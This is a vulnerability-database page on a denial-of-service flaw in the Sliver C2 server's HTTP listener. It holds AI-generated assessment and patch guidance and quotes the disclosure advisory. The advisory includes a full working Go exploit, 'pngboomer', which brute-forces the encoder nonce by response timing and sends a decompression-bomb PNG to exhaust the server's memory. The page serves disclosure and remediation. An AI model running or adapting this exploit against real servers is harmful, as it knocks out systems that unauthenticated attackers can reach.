Sliver C2 CVE-2026-77622
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessLocate exposed Sliver HTTP listener
-
DeliveryBrute-force valid encoder nonce via timing
-
ExploitDeliver oversized crafted PNG body
-
Executionpng.Decode allocates multi-GB pixel buffer
-
ImpactServer RAM exhausted, C2 crashes
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource allocation limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the Sliver C2 server to be running an HTTP or HTTPS listener (started with the |
| Impact | No official CVSS, EPSS, or KEV data is present in the input, so priority rests on CWE-770, the Decision label 'this_week', confirmed patch availability (v1.7.6), and the published PoC. My independent assessment is AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (≈7.5), i.e. a trivially triggered, unauthenticated, remote denial of service with availability-only impact and no confidentiality or integrity consequence. The signals are consistent rather than conflicting: there is no KEV listing and no EPSS score to suggest mass exploitation, which aligns with the Decision label of 'this_week' (not act_now/emergency) - patch promptly but this is not a drop-everything emergency. The one tempering factor the raw severity hides is exposure context: the affected asset is a Sliver C2 *server* run by red-team operators, so the realistic victim population is limited to those who expose an HTTP(S) listener to untrusted networks, and a host/container memory cap downgrades the outcome from host crash to Sliver-process crash. Net: a genuine, easily exploited unauthenticated DoS worth patching this week, but scoped to availability and to a niche operator population rather than a widespread enterprise emergency. |
| Exploit ScenarioDerived | An attacker locates an internet-exposed Sliver HTTP C2 listener and brute-forces the valid encoder nonce (one of only 65,537 values) using response-timing differences, then POSTs a PNG that is tiny on the wire but decodes to a 32767×32767 RGBA image, forcing png.Decode to allocate multiple gigabytes and exhausting the server's RAM. Because the vector is AV:N/AC:L/PR:N, no authentication or user interaction is required. A full working PoC (the bundled 'pngboomer' tool) that automates both the nonce brute-force and the kill request is published inline in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 23, 2026
Sliver C2 servers running an HTTP or HTTPS listener can be driven into total memory exhaustion by unauthenticated remote attackers who submit a deliberately oversized PNG to the encoder endpoint. The Decode path in util/encoders/images.go passes attacker-controlled PNG data straight to png.Decode with no cap on pixel dimensions, so a small, highly compressible image (for example 32767x32767 RGBA) expands into multi-gigabyte pixel buffers; the only credential-like barrier is the 65,537-value encoder nonce modulus, which is brute-forceable via response timing as demonstrated in the published proof-of-concept tool 'pngboomer'. Impact is a complete loss of availability for the Sliver process and potentially the host, and a fixed release (v1.7.6) plus upstream commit are available; exploitation requires an active, reachable HTTP(S) listener, and the public PoC targets Docker deployments with defined memory caps.
RemediationAI
Upgrade to Sliver v1.7.6, which is the first release containing the decode limits (DefaultMaxPNGDecodeLen of 2 GB, per-image dimension validation against the configured maximum, and DefaultMaxUnauthBodyLength for unauthenticated request bodies); the vendor patch is commit 80273462bd8b2a3cd724d2d6d0301a0cabfa977d (https://github.com/BishopFox/sliver/commit/80273462bd8b2a3cd724d2d6d0301a0cabfa977d), and the details are in GHSA-663m-7x7m-g4fw. Until the upgrade is applied, the practical containment is operational: avoid exposing HTTP/HTTPS listeners to untrusted or internet-reachable networks (restrict them with firewall rules or a fronting proxy that limits request body size), and run the server with a hard memory limit such as the Docker --memory cap used in the advisory reproduction, which confines the resulting crash to the Sliver process rather than the entire host; note that this is a crash-containment measure and does not remove the underlying unbounded allocation. Because nonces are enumerable via timing, rotating request parameters offers no protection and is not a substitute for the patch. Given the published PoC and the this_week priority signal, schedule the v1.7.6 upgrade within the current patch cycle.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Sliver implements its own HTTP(S) C2 transport, where implants and server exchange bodies wrapped by pluggable encoders. The PNG encoder (util/encoders/images.go) serializes arbitrary payload bytes into an image and reconstructs them on decode, materializing roughly three bytes per pixel (bytesPerPixel) before stripping padding and escape sequences. Two design weaknesses combine: the encoder nonce space is fixed at EncoderModulus = 65537 in server/encoders/encoders.go, small enough to enumerate, and Decode performed no bound check on either the wire body length or the declared IHDR dimensions, so Go's image/png would allocate storage based on attacker-supplied width and height. This is CWE-770 (Allocation of Resources Without Limits or Throttling) - the root cause class is a missing resource quota on a decode path reachable before authentication, not a memory-safety flaw. The upstream fix introduces LimitedDecoder support: DecodeWithMaxLen, DefaultMaxPNGDecodeLen (2 GB), validatePNGDimensions checking width x height against maxLen/bytesPerPixel before png.Decode allocates, a new ErrPNGTooLarge error, and an HTTP-layer DefaultMaxUnauthBodyLength enforced by decodeReqBodyWithMaxLen, with a regression test confirming a 1700x1700 PNG is rejected as oversized for unauthenticated bodies.
Know when Go gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
Reachable over the network via an unauthenticated HTTP listener (AV:N/PR:N/UI:N) and triggered by a single oversized PNG with a brute-forceable nonce (AC:L); impact is availability-only (A:H), no confidentiality or integrity.
Estimated by vuln.today — no official severity rating has been published for this CVE yet.
DescriptionCVE.org
Summary
Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.
Details
The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go
const (
EncoderModulus = uint64(65537)
)The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: util/encoders/images.go
func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
img := imageFromBytes(data)
var buf bytes.Buffer
encoder.Encode(&buf, img)
return buf.Bytes(), nil
}
func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
buf := bytes.NewBuffer(data)
img, err := png.Decode(buf)
if err != nil { return nil, err }
return bytesFromImage(img), nil
}PoC
The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.
Get the latest version of Sliver (Currently 1.7.3)
git clone https://github.com/BishopFox/sliver.gitBuild the Docker container:
cd sliver
docker build -t sliver-test:local -f Dockerfile .Run the Docker container with a memory cap for example 4GB:
docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:localAfter the Docker container starts, create an http listener on port 8080:
http -L 0.0.0.0 -l 8080In a seperate terminal create the following Go project: go.mod
module pngboomer
go 1.25poc.go
// pngboomer - Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build: go build -o pngboomer
// Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"flag"
"fmt"
"hash/crc32"
"io"
"math/rand"
"net"
"net/http"
"net/url"
"os"
"sort"
"sync"
"sync/atomic"
"time"
)
// ANSI color - single helper, disabled by -no-color / -silent.
var nocolor bool
func col(code, s string) string {
if nocolor {
return s
}
return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string { return col("1", s) }
func D(s string) string { return col("2", s) }
func R(s string) string { return col("1;31", s) }
func G(s string) string { return col("1;32", s) }
func Y(s string) string { return col("1;33", s) }
func C(s string) string { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }
// PNG forging - stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
out := make([]byte, 4, 12+len(data))
binary.BigEndian.PutUint32(out, uint32(len(data)))
out = append(out, typ...)
out = append(out, data...)
crc := crc32.NewIEEE()
crc.Write([]byte(typ))
crc.Write(data)
tail := make([]byte, 4)
binary.BigEndian.PutUint32(tail, crc.Sum32())
return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
bpp := 3
if ct == 6 {
bpp = 4
}
var zb bytes.Buffer
zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
row := make([]byte, 1+bpp*W)
for i := 0; i < H; i++ {
zw.Write(row)
}
zw.Close()
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
ihdr[8], ihdr[9] = 8, byte(ct)
out := []byte("\x89PNG\r\n\x1a\n")
out = append(out, chunk("IHDR", ihdr)...)
out = append(out, chunk("IDAT", zb.Bytes())...)
return append(out, chunk("IEND", nil)...)
}
// HTTP helpers
func hostPort(u string) string {
p, _ := url.Parse(u)
if p.Port() != "" {
return p.Hostname() + ":" + p.Port()
}
if p.Scheme == "https" {
return p.Hostname() + ":443"
}
return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
c, err := net.DialTimeout("tcp", hp, t)
if err != nil {
return false
}
c.Close()
return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
req, _ := http.NewRequestWithContext(ctx, "POST",
fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
req.Header.Set("Content-Type", "application/octet-stream")
t := time.Now()
resp, err := cli.Do(req)
dt := time.Since(t)
if err == nil {
io.Copy(io.Discard, resp.Body)
resp.Body.Close()
}
return dt
}
type hit struct {
n uint64
dt time.Duration
}
func main() {
target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
workers := flag.Int("workers", 8, "scan concurrency")
probeW := flag.Int("probe-w", 2000, "probe PNG width")
probeH := flag.Int("probe-h", 2000, "probe PNG height")
probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
killW := flag.Int("kill-w", 32767, "kill PNG width")
killH := flag.Int("kill-h", 32767, "kill PNG height")
killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))")
outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold")
calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
verifyN := flag.Int("verify", 3, "re-probe count per candidate")
maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
noClr := flag.Bool("no-color", false, "disable ANSI color")
silent := flag.Bool("silent", false, "only print nonce on stdout")
flag.Parse()
nocolor = *noClr || *silent
pBpp, kBpp := 3, 3
if *probeCT == 6 {
pBpp = 4
}
if *killCT == 6 {
kBpp = 4
}
probeMB := pBpp * *probeW * *probeH / 1024 / 1024
killMB := kBpp * *killW * *killH / 1024 / 1024
peakMB := *workers * probeMB
if *capMB > 0 && peakMB > *capMB/2 {
fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 - lower -workers or -probe-w/h\n",
R("[X] safety:"), peakMB, *capMB)
os.Exit(2)
}
probe := makePNG(*probeW, *probeH, *probeCT)
kill := makePNG(*killW, *killH, *killCT)
hp := hostPort(*target)
if !alive(hp, 2*time.Second) {
fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp)
os.Exit(2)
}
if !*silent {
fmt.Fprintln(os.Stderr, B("pngboomer - Sliver C2 PNG-bomb DoS"))
fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode\n",
len(probe), *probeW, *probeH, *probeCT, probeMB)
fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode\n",
len(kill), *killW, *killH, *killCT, killMB)
fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s\n",
peakMB, *capMB, B(hp))
}
cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}
pngN := uint64(*known)
if pngN == 0 {
// ─── Phase 1: calibrate non-PNG baseline ───
dts := make([]time.Duration, *calibN)
sem := make(chan struct{}, 8)
var wg sync.WaitGroup
for i := 0; i < *calibN; i++ {
i := i
sem <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sem }()
dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))
}()
}
wg.Wait()
sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })
p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]
eff := int64(*thMs)
if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {
eff = a
}
*thMs = int(eff)
thresh := time.Duration(*thMs) * time.Millisecond
if !*silent {
fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\n",
ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier)
}
// ─── Phase 2: scan with verify + blacklist-on-blip ───
blacklist := map[uint64]bool{}
var maxDt int64
var maxNonce uint64
var totalDone uint64
scanStart := time.Now()
const maxBlips = 8
// Shuffled nonce order, shared across re-scans. Workers pull via atomic
// counter - no channels, no producer goroutine.
order := make([]uint64, *maxN-1)
for i := range order {
order[i] = uint64(i + 1)
}
rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })
for blip := 0; blip < maxBlips && pngN == 0; blip++ {
scanCtx, scanCancel := context.WithCancel(context.Background())
hits := make(chan hit, 1)
var idx int64
var scanned uint64
var swg sync.WaitGroup
for i := 0; i < *workers; i++ {
swg.Add(1)
go func() {
defer swg.Done()
for scanCtx.Err() == nil {
i := atomic.AddInt64(&idx, 1) - 1
if i >= int64(len(order)) {
return
}
n := order[i]
if blacklist[n] {
continue
}
dt := post(scanCtx, cli, *target, probe, n)
atomic.AddUint64(&scanned, 1)
for { // track slowest probe (lock-free CAS)
cur := atomic.LoadInt64(&maxDt)
if dt.Nanoseconds() <= cur {
break
}
if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {
atomic.StoreUint64(&maxNonce, n)
break
}
}
if dt >= thresh {
select {
case hits <- hit{n, dt}:
default:
}
scanCancel()
return
}
}
}()
}
if !*silent {
go func() {
t := time.NewTicker(750 * time.Millisecond)
defer t.Stop()
for {
select {
case <-scanCtx.Done():
return
case <-t.C:
tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)
el := time.Since(scanStart).Seconds()
fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)\n"),
tot, float64(tot)/el, el, blip)
}
}
}()
}
go func() { swg.Wait(); close(hits) }()
cand, ok := <-hits
scanCancel()
atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))
if !ok {
break // exhausted, no candidate
}
// VERIFY: re-probe N×, count threshold hits, render tries inline
conf := 0
var tries bytes.Buffer
for i := 0; i < *verifyN; i++ {
dt := post(context.Background(), cli, *target, probe, cand.n)
if dt >= thresh {
conf++
tries.WriteString(G("✓"))
} else {
tries.WriteString(R("✗"))
}
fmt.Fprintf(&tries, "%.0fms ", ms(dt))
}
if !*silent {
fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s\n",
B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String())
}
if conf >= (*verifyN+1)/2 {
pngN = cand.n
if !*silent {
fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n",
G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)),
time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))
}
break
}
blacklist[cand.n] = true
if !*silent {
fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) - blacklisted\n",
Y("[!] blip"), cand.n, conf, *verifyN)
}
}
if pngN == 0 {
mDt := time.Duration(atomic.LoadInt64(&maxDt))
mN := atomic.LoadUint64(&maxNonce)
fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n",
R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone))
fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt))
suggest := mDt.Milliseconds() * 6 / 10
if suggest < 30 {
suggest = 30
}
fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h\n",
C(fmt.Sprintf("-threshold-ms %d", suggest)))
os.Exit(2)
}
}
if *scanOnly {
fmt.Println(pngN)
return
}
// ─── Phase 3: fire kill bomb ───
if !*silent {
fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n",
B("[*]"), killMB, *target, pngN)
}
kCli := &http.Client{Timeout: *kTO}
killStart := time.Now()
done := make(chan struct{})
go func() {
dt := post(context.Background(), kCli, *target, kill, pngN)
if !*silent {
fmt.Fprintf(os.Stderr, " kill returned in %.2fs\n", dt.Seconds())
}
close(done)
}()
if *noConf {
<-done
fmt.Println(pngN)
return
}
deadline := time.Now().Add(*kTO)
for time.Now().Before(deadline) {
time.Sleep(250 * time.Millisecond)
if !alive(hp, time.Second) {
if !*silent {
fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n",
G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp)
}
fmt.Println(pngN)
return
}
}
fmt.Fprintf(os.Stderr, "%s target alive after %s - try larger -kill-w/-kill-h\n", Y("[!]"), *kTO)
os.Exit(1)
}Impact
This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.
Collaboration
This vulnerability was found with the help of Wencheng Xue (panwnvda).
Technical POC Analysis
CWE-770 (Allocation of Resources Without Limits or Throttling) in Sliver's first-party PNG codec, util/encoders/images.go.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Sliver command-and-control servers exposed through HTTP or HTTPS listeners can be crashed outright by an unauthenticated attacker sending a specially crafted image, with the fixed release v1.7.6 now available. Any team operating a reachable Sliver listener - including Docker-based deployments with defined memory caps - should treat this as a direct operational risk, since a single request degrades a core red-team tool and can destabilize the host. Leadership should care because the barrier to entry is a published tool and a low-skill single request, and loss of the team's C2 infrastructure can disrupt engagements and incident-readiness activity.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)CVE.org
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
The net/http package in Go through 1.6 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and there
Critical certificate validation bypass in Go crypto/tls during session resumption. If ClientCAs or RootCAs fields are mu
net/url in Go before 1.11.13 and 1.12.x before 1.12.8 mishandles malformed hosts in URLs, leading to an authorization by
Casdoor through 4.4.0 exposes its instance-wide built-in JWT signing private key unmasked through the /api/get-certs and
Host header injection in Nezha 2.2.3's OAuth2 redirect endpoint (/api/v1/oauth2/{provider}) allows an unauthenticated re
Session cross-wiring in SUSE NeuVector before 5.6.1 allows an unauthenticated remote attacker to obtain another user's a
Unauthenticated path traversal in Uber Kraken through 0.1.29 allows remote attackers to read files outside the configure
The "go get" implementation in Go 1.9.4, when the -insecure command-line option is used, does not validate the import pa
Denial of service in Temporal Server allows an authenticated caller holding at least namespace read permission to crash
Account takeover in Klever-Go's KleverUpdateAccountPermission built-in (all versions prior to 1.7.20) allows an attacker
Maliciously crafted on-chain account names processed by Klever-Go prior to 1.7.20 are spliced into Elasticsearch _bulk r
GHSA-663m-7x7m-g4fw
CVE.org
Exploit-DB